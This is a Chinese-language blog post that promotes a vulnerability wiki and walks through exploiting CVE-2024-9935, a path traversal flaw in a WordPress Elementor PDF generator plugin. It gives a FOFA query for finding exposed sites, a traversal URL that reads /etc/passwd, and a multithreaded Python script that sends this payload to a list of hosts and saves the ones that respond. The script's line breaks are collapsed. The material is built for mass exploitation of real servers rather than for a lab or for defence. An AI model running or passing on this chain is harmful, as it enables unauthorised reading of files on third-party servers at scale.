wiki 漏洞文库（跟踪最新漏洞情报，挖洞快人一步） 资产探测工具+批量POC验证脚本分享

** wiki 漏洞文库（跟踪最新漏洞情报，挖洞快人一步）

脚本和工具链接：

https://pan.quark.cn/s/91bd831ce74b

一、介绍

今天没事儿，在翻github的时候发现了一个很不错的POC漏洞库

之前的话也有一些其他的漏洞库但是都更的没有那么及时，或者更的频率比较低

Wiki文库链接： https://wiki.wy876.cn/#/

二、Wiki文库使用

在这里我们拿一个（CVE-2024-9935）为例

CVE-2024-9935：WordPress 的 Elementor Page Builder 插件的 PDF 生成器插件在 1.7.5 及之前版本中存在的路径遍历漏洞,可以对此漏洞进行利用对服务器身上的任意文件进行读取。

（一） xTools 工具使用

这里使用xTools进行FOFA网络测绘

这个工具确实比较好用，我在这里推荐给大家，可以一键导出表格形式，调用FOFA的API实现。

直接在这里进行配置即可，同时支持Sumap和Hunter

这里使用FOFA语法搜索

body="wp-content/plugins/pdf-generator-addon-for-elementor-page-builder/"

（二）POC与批量验证脚本

url验证路径

/elementor-84/?rtw_generate_pdf=true&rtw_pdf_file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

接下来是我自己写的一个Python脚本用于批量验证POC

有py文件和图形化的两种形式，这里只放py文件的了，图形化的大家可以在上面链接自取一下

脚本需要一个ip.txt文件放我们的访问链接，并输出一个vulnerable_ips.txt是可能存在漏洞的URL，因为我进行验证的方式是访问其路径，然后检验其相应长度

如图：

import requestsimport threading# 定义存放IP地址的源txt文件路径，你需要根据实际情况替换这里的路径source_txt_file_path = "ip.txt"# 定义存放存在漏洞的IP地址的目标txt文件路径，同样按需替换target_txt_file_path = "vulnerable_ips.txt"# 定义要添加的路径后缀，用于构造请求URLpath_suffix = "/elementor-84/?rtw_generate_pdf=true&rtw_pdf_file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"# 用于存储存在漏洞的IP地址的列表vulnerable_ips = []# 创建一个锁对象，用于线程间对共享资源（vulnerable_ips列表）的访问控制，避免冲突lock = threading.Lock()# 定义响应数据包的最小长度限制（单位：字节），可根据实际情况调整min_content_length = 1000defcheck_ip(ip_port):"""    针对单个IP地址发起请求并判断是否存在漏洞的函数    """    url = "http://" + ip_port + path_suffixtry:        response = requests.get(url)# 这里假设响应码为200且响应内容长度大于等于最小长度时认为存在漏洞，你可以根据实际情况修改此判断条件if response.status_code == 200and len(response.content) >= min_content_length:# 获取锁，保证对vulnerable_ips列表的安全写入操作with lock:                vulnerable_ips.append(ip_port)except requests.RequestException as e:        print(f"对 {ip_port} 发起请求出现错误: {e}")if __name__ == "__main__":try:with open(source_txt_file_path, 'r') as source_file:            ip_list = [line.strip() for line in source_file.readlines()]        threads = []for ip_port in ip_list:# 为每个IP地址创建一个线程来执行验证任务            thread = threading.Thread(target=check_ip, args=(ip_port,))            thread.start()            threads.append(thread)# 等待所有线程完成任务for thread in threads:            thread.join()# 将存在漏洞的IP地址写入到目标txt文件中with open(target_txt_file_path, 'w') as target_file:for ip in vulnerable_ips:                target_file.write(ip + "n")        print(f"已将存在漏洞的IP地址成功写入到 {target_txt_file_path} 文件中。")except FileNotFoundError:        print(f"源文件 {source_txt_file_path} 不存在，请检查文件路径是否正确。")